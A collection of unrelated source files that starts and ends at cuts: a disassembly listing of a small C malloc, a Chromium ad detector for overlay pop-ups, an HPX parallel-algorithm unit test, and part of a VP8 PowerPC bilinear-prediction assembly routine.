552: a3 20 09 00 00 mov %eax,0x920
}
557: 5b pop %ebx
558: 5e pop %esi
559: 5f pop %edi
55a: 5d pop %ebp
55b: c3 ret
0000055c <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
55c: 55 push %ebp
55d: 89 e5 mov %esp,%ebp
55f: 57 push %edi
560: 56 push %esi
561: 53 push %ebx
562: 83 ec 1c sub $0x1c,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
565: 8b 45 08 mov 0x8(%ebp),%eax
568: 8d 70 07 lea 0x7(%eax),%esi
56b: c1 ee 03 shr $0x3,%esi
56e: 46 inc %esi
if((prevp = freep) == 0){
56f: 8b 3d 20 09 00 00 mov 0x920,%edi
575: 85 ff test %edi,%edi
577: 0f 84 a3 00 00 00 je 620 <malloc+0xc4>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
57d: 8b 07 mov (%edi),%eax
if(p->s.size >= nunits){
57f: 8b 48 04 mov 0x4(%eax),%ecx
582: 39 f1 cmp %esi,%ecx
584: 73 67 jae 5ed <malloc+0x91>
586: 89 f3 mov %esi,%ebx
588: 81 fe 00 10 00 00 cmp $0x1000,%esi
58e: 0f 82 80 00 00 00 jb 614 <malloc+0xb8>
p = sbrk(nu * sizeof(Header));
594: 8d 0c dd 00 00 00 00 lea 0x0(,%ebx,8),%ecx
59b: 89 4d e4 mov %ecx,-0x1c(%ebp)
59e: eb 11 jmp 5b1 <malloc+0x55>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
5a0: 8b 10 mov (%eax),%edx
if(p->s.size >= nunits){
5a2: 8b 4a 04 mov 0x4(%edx),%ecx
5a5: 39 f1 cmp %esi,%ecx
5a7: 73 4b jae 5f4 <malloc+0x98>
5a9: 8b 3d 20 09 00 00 mov 0x920,%edi
5af: 89 d0 mov %edx,%eax
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
5b1: 39 c7 cmp %eax,%edi
5b3: 75 eb jne 5a0 <malloc+0x44>
p = sbrk(nu * sizeof(Header));
5b5: 83 ec 0c sub $0xc,%esp
5b8: ff 75 e4 pushl -0x1c(%ebp)
5bb: e8 d5 fc ff ff call 295 <sbrk>
if(p == (char*)-1)
5c0: 83 c4 10 add $0x10,%esp
5c3: 83 f8 ff cmp $0xffffffff,%eax
5c6: 74 1b je 5e3 <malloc+0x87>
hp->s.size = nu;
5c8: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
5cb: 83 ec 0c sub $0xc,%esp
5ce: 83 c0 08 add $0x8,%eax
5d1: 50 push %eax
5d2: e8 05 ff ff ff call 4dc <free>
return freep;
5d7: a1 20 09 00 00 mov 0x920,%eax
if((p = morecore(nunits)) == 0)
5dc: 83 c4 10 add $0x10,%esp
5df: 85 c0 test %eax,%eax
5e1: 75 bd jne 5a0 <malloc+0x44>
return 0;
5e3: 31 c0 xor %eax,%eax
}
}
5e5: 8d 65 f4 lea -0xc(%ebp),%esp
5e8: 5b pop %ebx
5e9: 5e pop %esi
5ea: 5f pop %edi
5eb: 5d pop %ebp
5ec: c3 ret
if(p->s.size >= nunits){
5ed: 89 c2 mov %eax,%edx
5ef: 89 f8 mov %edi,%eax
5f1: 8d 76 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
5f4: 39 ce cmp %ecx,%esi
5f6: 74 54 je 64c <malloc+0xf0>
p->s.size -= nunits;
5f8: 29 f1 sub %esi,%ecx
5fa: 89 4a 04 mov %ecx,0x4(%edx)
p += p->s.size;
5fd: 8d 14 ca lea (%edx,%ecx,8),%edx
p->s.size = nunits;
600: 89 72 04 mov %esi,0x4(%edx)
freep = prevp;
603: a3 20 09 00 00 mov %eax,0x920
return (void*)(p + 1);
608: 8d 42 08 lea 0x8(%edx),%eax
}
60b: 8d 65 f4 lea -0xc(%ebp),%esp
60e: 5b pop %ebx
60f: 5e pop %esi
610: 5f pop %edi
611: 5d pop %ebp
612: c3 ret
613: 90 nop
614: bb 00 10 00 00 mov $0x1000,%ebx
619: e9 76 ff ff ff jmp 594 <malloc+0x38>
61e: 66 90 xchg %ax,%ax
base.s.ptr = freep = prevp = &base;
620: c7 05 20 09 00 00 24 movl $0x924,0x920
627: 09 00 00
62a: c7 05 24 09 00 00 24 movl $0x924,0x924
631: 09 00 00
base.s.size = 0;
634: c7 05 28 09 00 00 00 movl $0x0,0x928
63b: 00 00 00
63e: bf 24 09 00 00 mov $0x924,%edi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
643: 89 f8 mov %edi,%eax
645: e9 3c ff ff ff jmp 586 <malloc+0x2a>
64a: 66 90 xchg %ax,%ax
prevp->s.ptr = p->s.ptr;
64c: 8b 0a mov (%edx),%ecx
64e: 89 08 mov %ecx,(%eax)
650: eb b1 jmp 603 <malloc+0xa7>
|
// Copyright 2020 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "third_party/blink/renderer/core/frame/overlay_interstitial_ad_detector.h"
#include "third_party/blink/public/common/features.h"
#include "third_party/blink/renderer/core/dom/dom_node_ids.h"
#include "third_party/blink/renderer/core/frame/local_frame.h"
#include "third_party/blink/renderer/core/frame/local_frame_client.h"
#include "third_party/blink/renderer/core/html/html_frame_owner_element.h"
#include "third_party/blink/renderer/core/html/html_image_element.h"
#include "third_party/blink/renderer/core/layout/layout_object.h"
#include "third_party/blink/renderer/core/layout/layout_object_inlines.h"
#include "third_party/blink/renderer/core/layout/layout_view.h"
#include "third_party/blink/renderer/core/paint/paint_timing.h"
#include "third_party/blink/renderer/core/scroll/scrollable_area.h"
namespace blink {
namespace {
constexpr base::TimeDelta kFireInterval = base::Seconds(1);
constexpr double kLargeAdSizeToViewportSizeThreshold = 0.1;
// An overlay interstitial element shouldn't move with scrolling and should be
// able to overlap with other contents. So, either:
// 1) one of its container ancestors (including itself) has fixed position.
// 2) <body> or <html> has style="overflow:hidden", and among its container
// ancestors (including itself), the 2nd to the top (where the top should always
// be the <body>) has absolute position.
bool IsOverlayCandidate(Element* element) {
const ComputedStyle* style = nullptr;
LayoutView* layout_view = element->GetDocument().GetLayoutView();
LayoutObject* object = element->GetLayoutObject();
DCHECK_NE(object, layout_view);
for (; object != layout_view; object = object->Container()) {
DCHECK(object);
style = object->Style();
}
DCHECK(style);
// 'style' is now the ComputedStyle for the object whose position depends
// on the document.
if (style->HasViewportConstrainedPosition() ||
style->HasStickyConstrainedPosition()) {
return true;
}
if (style->GetPosition() == EPosition::kAbsolute)
return !object->StyleRef().ScrollsOverflow();
return false;
}
} // namespace
void OverlayInterstitialAdDetector::MaybeFireDetection(LocalFrame* main_frame) {
DCHECK(main_frame);
DCHECK(main_frame->IsMainFrame());
if (popup_ad_detected_)
return;
DCHECK(main_frame->GetDocument());
DCHECK(main_frame->ContentLayoutObject());
// Skip any measurement before the FCP.
if (PaintTiming::From(*main_frame->GetDocument())
.FirstContentfulPaint()
.is_null()) {
return;
}
base::Time current_time = base::Time::Now();
if (started_detection_ &&
base::FeatureList::IsEnabled(
features::kFrequencyCappingForOverlayPopupDetection) &&
current_time < last_detection_time_ + kFireInterval)
return;
TRACE_EVENT0("blink,benchmark",
"OverlayInterstitialAdDetector::MaybeFireDetection");
started_detection_ = true;
last_detection_time_ = current_time;
IntSize main_frame_size = main_frame->GetMainFrameViewportSize();
if (main_frame_size != last_detection_main_frame_size_) {
// Reset the candidate when the the viewport size has changed. Changing
// the viewport size could influence the layout and may trick the detector
// into believing that an element appeared and was dismissed, but what
// could have happened is that the element no longer covers the center,
// but still exists (e.g. a sticky ad at the top).
candidate_id_ = kInvalidDOMNodeId;
// Reset |content_has_been_stable_| to so that the current hit-test element
// will be marked unqualified. We don't want to consider an overlay as a
// popup if it wasn't counted before and only satisfies the conditions later
// due to viewport size change.
content_has_been_stable_ = false;
last_detection_main_frame_size_ = main_frame_size;
}
// We want to explicitly prevent mid-roll ads from being categorized as
// pop-ups. Skip the detection if we are in the middle of a video play.
if (main_frame->View()->HasDominantVideoElement())
return;
HitTestLocation location(DoublePoint(main_frame_size.width() / 2.0,
main_frame_size.height() / 2.0));
HitTestResult result;
main_frame->ContentLayoutObject()->HitTestNoLifecycleUpdate(location, result);
Element* element = result.InnerElement();
if (!element)
return;
DOMNodeId element_id = DOMNodeIds::IdForNode(element);
// Skip considering the overlay for a pop-up candidate if we haven't seen or
// have just seen the first meaningful paint, or if the viewport size has just
// changed. If we have just seen the first meaningful paint, however, we
// would consider future overlays for pop-up candidates.
if (!content_has_been_stable_) {
if (!PaintTiming::From(*main_frame->GetDocument())
.FirstMeaningfulPaint()
.is_null()) {
content_has_been_stable_ = true;
}
last_unqualified_element_id_ = element_id;
return;
}
bool is_new_element = (element_id != candidate_id_);
// The popup candidate has just been dismissed.
if (is_new_element && candidate_id_ != kInvalidDOMNodeId) {
// If the main frame scrolling offset hasn't changed since the candidate's
// appearance, we consider it to be a overlay interstitial; otherwise, we
// skip that candidate because it could be a parallax/scroller ad.
if (main_frame->GetMainFrameScrollOffset().y() ==
candidate_start_main_frame_scroll_offset_) {
OnPopupDetected(main_frame, candidate_is_ad_);
}
if (popup_ad_detected_)
return;
last_unqualified_element_id_ = candidate_id_;
candidate_id_ = kInvalidDOMNodeId;
candidate_is_ad_ = false;
}
if (element_id == last_unqualified_element_id_)
return;
if (!is_new_element) {
// Potentially update the ad status of the candidate from non-ad to ad.
// Ad tagging could occur after the initial painting (e.g. at loading time),
// and we are making the best effort to catch it.
if (element->IsAdRelated())
candidate_is_ad_ = true;
return;
}
if (!element->GetLayoutObject())
return;
IntRect overlay_rect = element->GetLayoutObject()->AbsoluteBoundingBoxRect();
bool is_large =
(overlay_rect.size().Area() >
main_frame_size.Area() * kLargeAdSizeToViewportSizeThreshold);
bool has_gesture = LocalFrame::HasTransientUserActivation(main_frame);
bool is_ad = element->IsAdRelated();
if (!has_gesture && is_large && (!popup_detected_ || is_ad) &&
IsOverlayCandidate(element)) {
// If main page is not scrollable, immediately determinine the overlay
// to be a popup. There's is no need to check any state at the dismissal
// time.
if (!main_frame->GetDocument()->GetLayoutView()->HasScrollableOverflowY()) {
OnPopupDetected(main_frame, is_ad);
}
if (popup_ad_detected_)
return;
candidate_id_ = element_id;
candidate_is_ad_ = is_ad;
candidate_start_main_frame_scroll_offset_ =
main_frame->GetMainFrameScrollOffset().y();
} else {
last_unqualified_element_id_ = element_id;
}
}
void OverlayInterstitialAdDetector::OnPopupDetected(LocalFrame* main_frame,
bool is_ad) {
if (!popup_detected_) {
UseCounter::Count(main_frame->GetDocument(), WebFeature::kOverlayPopup);
popup_detected_ = true;
}
if (is_ad) {
DCHECK(!popup_ad_detected_);
main_frame->Client()->OnOverlayPopupAdDetected();
UseCounter::Count(main_frame->GetDocument(), WebFeature::kOverlayPopupAd);
popup_ad_detected_ = true;
}
}
} // namespace blink
|
// Copyright (c) 2015 Daniel Bourgeois
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
#include <hpx/hpx_init.hpp>
#include <hpx/hpx.hpp>
#include <hpx/include/parallel_remove_copy.hpp>
#include <hpx/util/lightweight_test.hpp>
#include <cstddef>
#include <iostream>
#include <iterator>
#include <numeric>
#include <random>
#include <string>
#include <vector>
#include "test_utils.hpp"
////////////////////////////////////////////////////////////////////////////
int seed = std::random_device{}();
std::mt19937 gen(seed);
template <typename ExPolicy, typename IteratorTag>
void test_remove_copy_if(ExPolicy policy, IteratorTag)
{
static_assert(
hpx::parallel::execution::is_execution_policy<ExPolicy>::value,
"hpx::parallel::execution::is_execution_policy<ExPolicy>::value");
typedef std::vector<int>::iterator base_iterator;
typedef test::test_iterator<base_iterator, IteratorTag> iterator;
std::vector<int> c(10007);
std::vector<int> d(c.size());
std::uniform_int_distribution<> dis(0,(c.size()>>1)-1);
std::uniform_int_distribution<> dist(0,c.size()-1);
std::size_t middle_idx = dis(gen);
auto middle = std::begin(c) + middle_idx;
std::iota(std::begin(c), middle, static_cast<int>(dist(gen)));
std::fill(middle, std::end(c), -1);
hpx::parallel::remove_copy_if(policy,
iterator(std::begin(c)), iterator(std::end(c)),
std::begin(d), [](int i) { return i < 0; });
std::size_t count = 0;
HPX_TEST(std::equal(std::begin(c), middle, std::begin(d),
[&count](int v1, int v2) -> bool {
HPX_TEST_EQ(v1, v2);
++count;
return v1 == v2;
}));
HPX_TEST(std::equal(middle, std::end(c),
std::begin(d) + middle_idx,
[&count](int v1, int v2) -> bool {
HPX_TEST_NEQ(v1, v2);
++count;
return v1 != v2;
}));
HPX_TEST_EQ(count, d.size());
}
template <typename ExPolicy, typename IteratorTag>
void test_remove_copy_if_async(ExPolicy p, IteratorTag)
{
typedef std::vector<int>::iterator base_iterator;
typedef test::test_iterator<base_iterator, IteratorTag> iterator;
std::vector<int> c(10007);
std::vector<int> d(c.size());
std::uniform_int_distribution<> dis(0,(c.size()>>1)-1);
std::uniform_int_distribution<> dist(0,c.size()-1);
std::size_t middle_idx = dis(gen);
auto middle = std::begin(c) + middle_idx;
std::iota(std::begin(c), middle, static_cast<int>(dist(gen)));
std::fill(middle, std::end(c), -1);
auto f =
hpx::parallel::remove_copy_if(p,
iterator(std::begin(c)), iterator(std::end(c)),
std::begin(d), [](int i){ return i < 0; });
f.wait();
std::size_t count = 0;
HPX_TEST(std::equal(std::begin(c), middle, std::begin(d),
[&count](int v1, int v2) -> bool {
HPX_TEST_EQ(v1, v2);
++count;
return v1 == v2;
}));
HPX_TEST(std::equal(middle, std::end(c),
std::begin(d) + middle_idx,
[&count](int v1, int v2) -> bool {
HPX_TEST_NEQ(v1, v2);
++count;
return v1!=v2;
}));
HPX_TEST_EQ(count, d.size());
}
template <typename ExPolicy, typename IteratorTag>
void test_remove_copy_if_outiter(ExPolicy policy, IteratorTag)
{
static_assert(
hpx::parallel::execution::is_execution_policy<ExPolicy>::value,
"hpx::parallel::execution::is_execution_policy<ExPolicy>::value");
typedef std::vector<int>::iterator base_iterator;
typedef test::test_iterator<base_iterator, IteratorTag> iterator;
std::vector<int> c(10007);
std::vector<int> d(0);
std::uniform_int_distribution<> dis(0,(c.size()>>1)-1);
std::uniform_int_distribution<> dist(0,c.size()-1);
std::size_t middle_idx = dis(gen);
auto middle = std::begin(c) + middle_idx;
std::iota(std::begin(c), middle, static_cast<int>(dist(gen)));
std::fill(middle, std::end(c), -1);
hpx::parallel::remove_copy_if(policy,
iterator(std::begin(c)), iterator(std::end(c)),
std::back_inserter(d), [](int i){ return i < 0; });
HPX_TEST(std::equal(std::begin(c), middle, std::begin(d),
[](int v1, int v2) -> bool {
HPX_TEST_EQ(v1, v2);
return v1 == v2;
}));
HPX_TEST_EQ(middle_idx, d.size());
}
template <typename ExPolicy, typename IteratorTag>
void test_remove_copy_if_outiter_async(ExPolicy p, IteratorTag)
{
typedef std::vector<int>::iterator base_iterator;
typedef test::test_iterator<base_iterator, IteratorTag> iterator;
std::vector<int> c(10007);
std::vector<int> d(0);
std::uniform_int_distribution<> dis(0,(c.size()>>1)-1);
std::uniform_int_distribution<> dist(0,c.size()-1);
std::size_t middle_idx = dis(gen);
auto middle = std::begin(c) + middle_idx;
std::iota(std::begin(c), middle, static_cast<int>(dist(gen)));
std::fill(middle, std::end(c), -1);
auto f =
hpx::parallel::remove_copy_if(p,
iterator(std::begin(c)), iterator(std::end(c)),
std::back_inserter(d), [](int i){ return i < 0; });
f.wait();
HPX_TEST(std::equal(std::begin(c), middle, std::begin(d),
[](int v1, int v2) -> bool {
HPX_TEST_EQ(v1, v2);
return v1 == v2;
}));
HPX_TEST_EQ(middle_idx, d.size());
}
template <typename IteratorTag>
void test_remove_copy_if()
{
using namespace hpx::parallel;
test_remove_copy_if(execution::seq, IteratorTag());
test_remove_copy_if(execution::par, IteratorTag());
test_remove_copy_if(execution::par_unseq, IteratorTag());
test_remove_copy_if_async(execution::seq(execution::task), IteratorTag());
test_remove_copy_if_async(execution::par(execution::task), IteratorTag());
}
void remove_copy_if_test()
{
test_remove_copy_if<std::random_access_iterator_tag>();
test_remove_copy_if<std::forward_iterator_tag>();
}
///////////////////////////////////////////////////////////////////////////////
template <typename ExPolicy, typename IteratorTag>
void test_remove_copy_if_exception(ExPolicy policy, IteratorTag)
{
static_assert(
hpx::parallel::execution::is_execution_policy<ExPolicy>::value,
"hpx::parallel::execution::is_execution_policy<ExPolicy>::value");
typedef std::vector<std::size_t>::iterator base_iterator;
typedef test::test_iterator<base_iterator, IteratorTag> iterator;
std::vector<std::size_t> c(10007);
std::vector<std::size_t> d(c.size());
std::iota(std::begin(c), std::end(c), gen());
bool caught_exception = false;
try {
hpx::parallel::remove_copy_if(policy,
iterator(std::begin(c)), iterator(std::end(c)), std::begin(d),
[](std::size_t v) {
return throw std::runtime_error("test"), v == 0;
});
HPX_TEST(false);
}
catch (hpx::exception_list const& e) {
caught_exception = true;
test::test_num_exceptions<ExPolicy, IteratorTag>::call(policy, e);
}
catch (...) {
HPX_TEST(false);
}
HPX_TEST(caught_exception);
}
template <typename ExPolicy, typename IteratorTag>
void test_remove_copy_if_exception_async(ExPolicy p, IteratorTag)
{
typedef std::vector<std::size_t>::iterator base_iterator;
typedef test::test_iterator<base_iterator, IteratorTag> iterator;
std::vector<std::size_t> c(10007);
std::vector<std::size_t> d(c.size());
std::iota(std::begin(c), std::end(c), gen());
bool caught_exception = false;
bool returned_from_algorithm = false;
try {
auto f =
hpx::parallel::remove_copy_if(p,
iterator(std::begin(c)), iterator(std::end(c)),
std::begin(d),
[](std::size_t v) {
return throw std::runtime_error("test"), v == 0;
});
returned_from_algorithm = true;
f.get();
HPX_TEST(false);
}
catch(hpx::exception_list const& e) {
caught_exception = true;
test::test_num_exceptions<ExPolicy, IteratorTag>::call(p, e);
}
catch(...) {
HPX_TEST(false);
}
HPX_TEST(caught_exception);
HPX_TEST(returned_from_algorithm);
}
template <typename IteratorTag>
void test_remove_copy_if_exception()
{
using namespace hpx::parallel;
// If the execution policy object is of type vector_execution_policy,
// std::terminate shall be called. therefore we do not test exceptions
// with a vector execution policy
test_remove_copy_if_exception(execution::seq, IteratorTag());
test_remove_copy_if_exception(execution::par, IteratorTag());
test_remove_copy_if_exception_async(execution::seq(execution::task),
IteratorTag());
test_remove_copy_if_exception_async(execution::par(execution::task),
IteratorTag());
}
void remove_copy_if_exception_test()
{
test_remove_copy_if_exception<std::random_access_iterator_tag>();
test_remove_copy_if_exception<std::forward_iterator_tag>();
}
////////////////////////////////////////////////////////////////////////////////
template <typename ExPolicy, typename IteratorTag>
void test_remove_copy_if_bad_alloc(ExPolicy policy, IteratorTag)
{
static_assert(
hpx::parallel::execution::is_execution_policy<ExPolicy>::value,
"hpx::parallel::execution::is_execution_policy<ExPolicy>::value");
typedef std::vector<std::size_t>::iterator base_iterator;
typedef test::test_iterator<base_iterator, IteratorTag> iterator;
std::vector<std::size_t> c(10007);
std::vector<std::size_t> d(c.size());
std::iota(std::begin(c), std::end(c), gen());
bool caught_bad_alloc = false;
try {
hpx::parallel::remove_copy_if(policy,
iterator(std::begin(c)), iterator(std::end(c)), std::begin(d),
[](std::size_t v) {
return throw std::bad_alloc(), v;
});
HPX_TEST(false);
}
catch(std::bad_alloc const&) {
caught_bad_alloc = true;
}
catch(...) {
HPX_TEST(false);
}
HPX_TEST(caught_bad_alloc);
}
template <typename ExPolicy, typename IteratorTag>
void test_remove_copy_if_bad_alloc_async(ExPolicy p, IteratorTag)
{
typedef std::vector<std::size_t>::iterator base_iterator;
typedef test::test_iterator<base_iterator, IteratorTag> iterator;
std::vector<std::size_t> c(10007);
std::vector<std::size_t> d(c.size());
std::iota(std::begin(c), std::end(c), gen());
bool caught_bad_alloc = false;
bool returned_from_algorithm = false;
try {
auto f =
hpx::parallel::remove_copy_if(p,
iterator(std::begin(c)), iterator(std::end(c)),
std::begin(d),
[](std::size_t v) {
return throw std::bad_alloc(), v;
});
returned_from_algorithm = true;
f.get();
HPX_TEST(false);
}
catch(std::bad_alloc const&) {
caught_bad_alloc = true;
}
catch(...) {
HPX_TEST(false);
}
HPX_TEST(caught_bad_alloc);
HPX_TEST(returned_from_algorithm);
}
template <typename IteratorTag>
void test_remove_copy_if_bad_alloc()
{
using namespace hpx::parallel;
// If the execution policy object is of type vector_execution_policy,
// std::terminate shall be called. therefore we do not test exceptions
// with a vector execution policy
test_remove_copy_if_bad_alloc(execution::seq, IteratorTag());
test_remove_copy_if_bad_alloc(execution::par, IteratorTag());
test_remove_copy_if_bad_alloc_async(execution::seq(execution::task),
IteratorTag());
test_remove_copy_if_bad_alloc_async(execution::par(execution::task),
IteratorTag());
}
void remove_copy_if_bad_alloc_test()
{
test_remove_copy_if_bad_alloc<std::random_access_iterator_tag>();
test_remove_copy_if_bad_alloc<std::forward_iterator_tag>();
}
int hpx_main(boost::program_options::variables_map& vm)
{
unsigned int seed = (unsigned int)std::time(nullptr);
if (vm.count("seed"))
seed = vm["seed"].as<unsigned int>();
std::cout << "using seed: " << seed << std::endl;
gen.seed(seed);
remove_copy_if_test();
remove_copy_if_exception_test();
remove_copy_if_bad_alloc_test();
return hpx::finalize();
}
int main(int argc, char* argv[])
{
// add command line option which controls the random number generator seed
using namespace boost::program_options;
options_description desc_commandline(
"Usage: " HPX_APPLICATION_STRING " [options]");
desc_commandline.add_options()
("seed,s", value<unsigned int>(),
"the random number generator seed to use for this run")
;
// By default this test should run on all available cores
std::vector<std::string> const cfg = {
"hpx.os_threads=all"
};
// Initialize and run HPX
HPX_TEST_EQ_MSG(hpx::init(desc_commandline, argc, argv, cfg), 0,
"HPX main exited with non-zero status");
return hpx::util::report_errors();
}
|
;
; Copyright (c) 2010 The VP8 project authors. All Rights Reserved.
;
; Use of this source code is governed by a BSD-style license
; that can be found in the LICENSE file in the root of the source
; tree. An additional intellectual property rights grant can be found
; in the file PATENTS. All contributing project authors may
; be found in the AUTHORS file in the root of the source tree.
;
.globl bilinear_predict4x4_ppc
.globl bilinear_predict8x4_ppc
.globl bilinear_predict8x8_ppc
.globl bilinear_predict16x16_ppc
.macro load_c V, LABEL, OFF, R0, R1
lis \R0, \LABEL@ha
la \R1, \LABEL@l(\R0)
lvx \V, \OFF, \R1
.endm
.macro load_vfilter V0, V1
load_c \V0, vfilter_b, r6, r9, r10
addi r6, r6, 16
lvx \V1, r6, r10
.endm
.macro HProlog jump_label
;# load up horizontal filter
slwi. r5, r5, 4 ;# index into horizontal filter array
;# index to the next set of vectors in the row.
li r10, 16
li r12, 32
;# downshift by 7 ( divide by 128 ) at the end
vspltish v19, 7
;# If there isn't any filtering to be done for the horizontal, then
;# just skip to the second pass.
beq \jump_label
load_c v20, hfilter_b, r5, r9, r0
;# setup constants
;# v14 permutation value for alignment
load_c v28, b_hperm_b, 0, r9, r0
;# rounding added in on the multiply
vspltisw v21, 8
vspltisw v18, 3
vslw v18, v21, v18 ;# 0x00000040000000400000004000000040
slwi. r6, r6, 5 ;# index into vertical filter array
.endm
;# Filters a horizontal line
;# expects:
;# r3 src_ptr
;# r4 pitch
;# r10 16
;# r12 32
;# v17 perm intput
;# v18 rounding
;# v19 shift
;# v20 filter taps
;# v21 tmp
;# v22 tmp
;# v23 tmp
;# v24 tmp
;# v25 tmp
;# v26 tmp
;# v27 tmp
;# v28 perm output
;#
.macro HFilter V
vperm v24, v21, v21, v10 ;# v20 = 0123 1234 2345 3456
vperm v25, v21, v21, v11 ;# v21 = 4567 5678 6789 789A
vmsummbm v24, v20, v24, v18
vmsummbm v25, v20, v25, v18
vpkswus v24, v24, v25 ;# v24 = 0 4 8 C 1 5 9 D (16-bit)
vsrh v24, v24, v19 ;# divide v0, v1 by 128
vpkuhus \V, v24, v24 ;# \V = scrambled 8-bit result
.endm
.macro hfilter_8 V, increment_counter
lvsl v17, 0, r3 ;# permutate value for alignment
;# input to filter is 9 bytes wide, output is 8 bytes.
lvx v21, 0, r3
lvx v22, r10, r3
.if \increment_counter
add r3, r3, r4
.endif
vperm v21, v21, v22, v17
HFilter \V
.endm
.macro load_and_align_8 V, increment_counter
lvsl v17, 0, r3 ;# permutate value for alignment
;# input to filter is 21 bytes wide, output is 16 bytes.
;# input will can span three vectors if not aligned correctly.
lvx v21, 0, r3
lvx v22, r10, r3
.if \increment_counter
add r3, r3, r4
.endif
vperm \V, v21, v22, v17
.endm
.macro write_aligned_8 V, increment_counter
stvx \V, 0, r7
.if \increment_counter
add r7, r7, r8
.endif
.endm
.macro vfilter_16 P0 P1
vmuleub v22, \P0, v20 ;# 64 + 4 positive taps
vadduhm v22, v18, v22
vmuloub v23, \P0, v20
vadduhm v23, v18, v23
vmuleub v24, \P1, v21
vadduhm v22, v22, v24 ;# Re = evens, saturation unnecessary
vmuloub v25, \P1, v21
vadduhm v23, v23, v25 ;# Ro = odds
vsrh v22, v22, v19 ;# divide by 128
vsrh v23, v23, v19 ;# v16 v17 = evens, odds
vmrghh \P0, v22, v23 ;# v18 v19 = 16-bit result in order
vmrglh v23, v22, v23
vpkuhus \P0, \P0, v23 ;# P0 = 8-bit result
.endm
.macro w_8x8 V, D, R, P
stvx \V, 0, r1
lwz \R, 0(r1)
stw \R, 0(r7)
lwz \R, 4(r1)
stw \R, 4(r7)
add \D, \D, \P
.endm
.align 2
;# r3 unsigned char * src
;# r4 int src_pitch
;# r5 int x_offset
;# r6 int y_offset
;# r7 unsigned char * dst
;# r8 int dst_pitch
bilinear_predict4x4_ppc:
mfspr r11, 256 ;# get old VRSAVE
oris r12, r11, 0xf830
ori r12, r12, 0xfff8
mtspr 256, r12 ;# set VRSAVE
stwu r1,-32(r1) ;# create space on the stack
HProlog second_pass_4x4_pre_copy_b
;# Load up permutation constants
load_c v10, b_0123_b, 0, r9, r12
load_c v11, b_4567_b, 0, r9, r12
hfilter_8 v0, 1
hfilter_8 v1, 1
hfilter_8 v2, 1
hfilter_8 v3, 1
;# Finished filtering main horizontal block. If there is no
;# vertical filtering, jump to storing the data. Otherwise
;# load up and filter the additional line that is needed
;# for the vertical filter.
beq store_out_4x4_b
hfilter_8 v4, 0
b second_pass_4x4_b
second_pass_4x4_pre_copy_b:
slwi r6, r6, 5 ;# index into vertical filter array
load_and_align_8 v0, 1
load_and_align_8 v1, 1
load_and_align_8 v2, 1
load_and_align_8 v3, 1
load_and_align_8 v4, 1
second_pass_4x4_b:
vspltish v20, 8
vspltish v18, 3
vslh v18, v20, v18 ;# 0x0040 0040 0040 0040 0040 0040 0040 0040
load_vfilter v20, v21
vfilter_16 v0, v1
vfilter_16 v1, v2
vfilter_16 v2, v3
vfilter_16 v3, v4
store_out_4x4_b:
stvx v0, 0, r1
lwz r0, 0(r1)
stw r0, 0(r7)
add r7, r7, r8
stvx v1, 0, r1
lwz r0, 0(r1)
stw r0, 0(r7)
add r7, r7, r8
stvx v2, 0, r1
lwz r0, 0(r1)
stw r0, 0(r7)
add r7, r7, r8
stvx v3, 0, r1
lwz r0, 0(r1)
stw r0, 0(r7)
exit_4x4:
addi r1, r1, 32 ;# recover stack
mtspr 256, r11 ;# reset old VRSAVE
blr
.align 2
;# r3 unsigned char * src
;# r4 int src_pitch
;# r5 int x_offset
;# r6 int y_offset
;# r7 unsigned char * dst
;# r8 int dst_pitch
bilinear_predict8x4_ppc:
mfspr r11, 256 ;# get old VRSAVE
oris r12, r11, 0xf830
ori r12, r12, 0xfff8
mtspr 256, r12 ;# set VRSAVE
stwu r1,-32(r1) ;# create space on the stack
HProlog second_pass_8x4_pre_copy_b
;# Load up permutation constants
load_c v10, b_0123_b, 0, r9, r12
load_c v11, b_4567_b, 0, r9, r12
hfilter_8 v0, 1
hfilter_8 v1, 1
hfilter_8 v2, 1
hfilter_8 v3, 1
;# Finished filtering main horizontal block. If there is no
;# vertical filtering, jump to storing the data. Otherwise
;# load up and filter the additional line that is needed
;# for the vertical filter.
beq store_out_8x4_b
hfilter_8 v4, 0
b second_pass_8x4_b
second_pass_8x4_pre_copy_b:
slwi r6, r6, 5 ;# index into vertical filter array
load_and_align_8 v0, 1
load_and_align_8 v1, 1
load_and_align_8 v2, 1
load_and_align_8 v3, 1
load_and_align_8 v4, 1
second_pass_8x4_b:
vspltish v20, 8
vspltish v18, 3
vslh v18, v20, v18 ;# 0x0040 0040 0040 0040 0040 0040 0040 0040
load_vfilter v20, v21
vfilter_16 v0, v1
vfilter_16 v1, v2
vfilter_16 v2, v3
vfilter_16 v3, v4
store_out_8x4_b:
cmpi cr0, r8, 8
beq cr0, store_aligned_8x4_b
w_8x8 v0, r7, r0, r8
w_8x8 v1, r7, r0, r8
w_8x8 v2, r7, r0, r8
w_8x8 v3, r7, r0, r8
b exit_8x4
store_aligned_8x4_b:
load_c v10, b_hilo_b, 0, r9, r10
vperm v0, v0, v1, v10
vperm v2, v2, v3, v10
stvx v0, 0, r7
addi r7, r7, 16
stvx v2, 0, r7
exit_8x4:
addi r1, r1, 32 ;# recover stack
mtspr 256, r11 ;# reset old VRSAVE
blr
.align 2
;# r3 unsigned char * src
;# r4 int src_pitch
;# r5 int x_offset
;# r6 int y_offset
;# r7 unsigned char * dst
;# r8 int dst_pitch
bilinear_predict8x8_ppc:
mfspr r11, 256 ;# get old VRSAVE
oris r12, r11, 0xfff0
ori r12, r12, 0xffff
mtspr 256, r12 ;# set VRSAVE
stwu r1,-32(r1) ;# create space on the stack
HProlog second_pass_8x8_pre_copy_b
;# Load up permutation constants
load_c v10, b_0123_b, 0, r9, r12
load_c v11, b_4567_b, 0, r9, r12
hfilter_8 v0, 1
hfilter_8 v1, 1
hfilter_8 v2, 1
hfilter_8 v3, 1
